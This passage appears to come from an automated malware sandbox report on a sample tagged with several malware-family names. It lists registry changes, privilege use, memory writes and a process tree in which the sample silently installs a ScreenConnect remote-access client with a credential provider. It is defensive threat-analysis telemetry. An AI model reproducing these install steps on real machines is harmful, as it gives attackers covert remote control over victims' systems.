\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies data under HKEY_USERS 18 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe - Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5D95A5D30F4DFBDB7078219ABF830209 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-078712a9fb382090\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3865087520-2734723108-1233268525-1000\{0C966D03-E44F-42A0-A491-A4AC42E2EC61} explorer.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-078712a9fb382090\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (078712a9fb382090)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F21F58993C97AC18B8B5AADAA7C2EF6C\Full msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-078712a9fb382090\shell\open msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5D95A5D30F4DFBDB7078219ABF830209\F21F58993C97AC18B8B5AADAA7C2EF6C msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\078712a9fb382090\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-078712a9fb382090 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-078712a9fb382090\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-295B-CE08D7A34FF7}\InprocServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\ProductName = "ScreenConnect Client (078712a9fb382090)" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-078712a9fb382090 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-295B-CE08D7A34FF7} msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\SourceList\Net msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-078712a9fb382090\UseOriginalUrlEncoding = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-295B-CE08D7A34FF7}\ = "ScreenConnect Client (078712a9fb382090) Credential Provider" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-078712a9fb382090\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-295B-CE08D7A34FF7}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (078712a9fb382090)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-295B-CE08D7A34FF7}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\Version = "402849799" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56" SearchHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\078712a9fb382090\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\MuiCache SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\PackageCode = "F21F58993C97AC18B8B5AADAA7C2EF6C" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\ProductIcon = "C:\\Windows\\Installer\\{9985F12F-79C3-81CA-8B5B-AAAD7A2CFEC6}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F21F58993C97AC18B8B5AADAA7C2EF6C\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F21F58993C97AC18B8B5AADAA7C2EF6C msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 5096 msiexec.exe 5096 msiexec.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 3908 explorer.exe 3908 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2488 2026-06-28_b62119f0ae9ad41612f252dd703799d4_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe Token: SeShutdownPrivilege 4316 msiexec.exe Token: SeIncreaseQuotaPrivilege 4316 msiexec.exe Token: SeSecurityPrivilege 5096 msiexec.exe Token: SeCreateTokenPrivilege 4316 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4316 msiexec.exe Token: SeLockMemoryPrivilege 4316 msiexec.exe Token: SeIncreaseQuotaPrivilege 4316 msiexec.exe Token: SeMachineAccountPrivilege 4316 msiexec.exe Token: SeTcbPrivilege 4316 msiexec.exe Token: SeSecurityPrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeLoadDriverPrivilege 4316 msiexec.exe Token: SeSystemProfilePrivilege 4316 msiexec.exe Token: SeSystemtimePrivilege 4316 msiexec.exe Token: SeProfSingleProcessPrivilege 4316 msiexec.exe Token: SeIncBasePriorityPrivilege 4316 msiexec.exe Token: SeCreatePagefilePrivilege 4316 msiexec.exe Token: SeCreatePermanentPrivilege 4316 msiexec.exe Token: SeBackupPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeShutdownPrivilege 4316 msiexec.exe Token: SeDebugPrivilege 4316 msiexec.exe Token: SeAuditPrivilege 4316 msiexec.exe Token: SeSystemEnvironmentPrivilege 4316 msiexec.exe Token: SeChangeNotifyPrivilege 4316 msiexec.exe Token: SeRemoteShutdownPrivilege 4316 msiexec.exe Token: SeUndockPrivilege 4316 msiexec.exe Token: SeSyncAgentPrivilege 4316 msiexec.exe Token: SeEnableDelegationPrivilege 4316 msiexec.exe Token: SeManageVolumePrivilege 4316 msiexec.exe Token: SeImpersonatePrivilege 4316 msiexec.exe Token: SeCreateGlobalPrivilege 4316 msiexec.exe Token: SeCreateTokenPrivilege 4316 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4316 msiexec.exe Token: SeLockMemoryPrivilege 4316 msiexec.exe Token: SeIncreaseQuotaPrivilege 4316 msiexec.exe Token: SeMachineAccountPrivilege 4316 msiexec.exe Token: SeTcbPrivilege 4316 msiexec.exe Token: SeSecurityPrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeLoadDriverPrivilege 4316 msiexec.exe Token: SeSystemProfilePrivilege 4316 msiexec.exe Token: SeSystemtimePrivilege 4316 msiexec.exe Token: SeProfSingleProcessPrivilege 4316 msiexec.exe Token: SeIncBasePriorityPrivilege 4316 msiexec.exe Token: SeCreatePagefilePrivilege 4316 msiexec.exe Token: SeCreatePermanentPrivilege 4316 msiexec.exe Token: SeBackupPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeShutdownPrivilege 4316 msiexec.exe Token: SeDebugPrivilege 4316 msiexec.exe Token: SeAuditPrivilege 4316 msiexec.exe Token: SeSystemEnvironmentPrivilege 4316 msiexec.exe Token: SeChangeNotifyPrivilege 4316 msiexec.exe Token: SeRemoteShutdownPrivilege 4316 msiexec.exe Token: SeUndockPrivilege 4316 msiexec.exe Token: SeSyncAgentPrivilege 4316 msiexec.exe Token: SeEnableDelegationPrivilege 4316 msiexec.exe Token: SeManageVolumePrivilege 4316 msiexec.exe Token: SeImpersonatePrivilege 4316 msiexec.exe Token: SeCreateGlobalPrivilege 4316 msiexec.exe Token: SeCreateTokenPrivilege 4316 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4316 msiexec.exe - Suspicious use of FindShellTrayWindow 56 IoCs
pid Process 4316 msiexec.exe 4316 msiexec.exe 4712 sihost.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe - Suspicious use of SendNotifyMessage 40 IoCs
pid Process 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe 3908 explorer.exe - Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 4316 msiexec.exe 5096 msiexec.exe 3328 MsiExec.exe 3064 MsiExec.exe 2280 MsiExec.exe 4704 StartMenuExperienceHost.exe 4888 SearchHost.exe 3908 explorer.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2488 wrote to memory of 4316 2488 2026-06-28_b62119f0ae9ad41612f252dd703799d4_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe 88 PID 5096 wrote to memory of 3328 5096 msiexec.exe 90 PID 3328 wrote to memory of 472 3328 MsiExec.exe 91 PID 5096 wrote to memory of 4776 5096 msiexec.exe 96 PID 5096 wrote to memory of 3064 5096 msiexec.exe 98 PID 5096 wrote to memory of 2280 5096 msiexec.exe 99 PID 2040 wrote to memory of 5480 2040 ScreenConnect.ClientService.exe 106 PID 2040 wrote to memory of 1220 2040 ScreenConnect.ClientService.exe 107 PID 2040 wrote to memory of 5612 2040 ScreenConnect.ClientService.exe 109 PID 4712 wrote to memory of 3908 4712 sihost.exe 115 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-06-28_b62119f0ae9ad41612f252dd703799d4_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"C:\Users\Admin\AppData\Local\Temp\2026-06-28_b62119f0ae9ad41612f252dd703799d4_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\078712a9fb382090\ScreenConnect.ClientSetup.msi"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4316
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5096 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 441F16172EE5A486AFB2233E1CD10D0F C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4A33.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240667328 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:472
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:4776
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 08EE2E3AA3ADF4BC2F18E6939C7768612⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3064
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 295B4C7D3547CF714EAA56E95AEB4E46 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2280
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
PID:3960
-
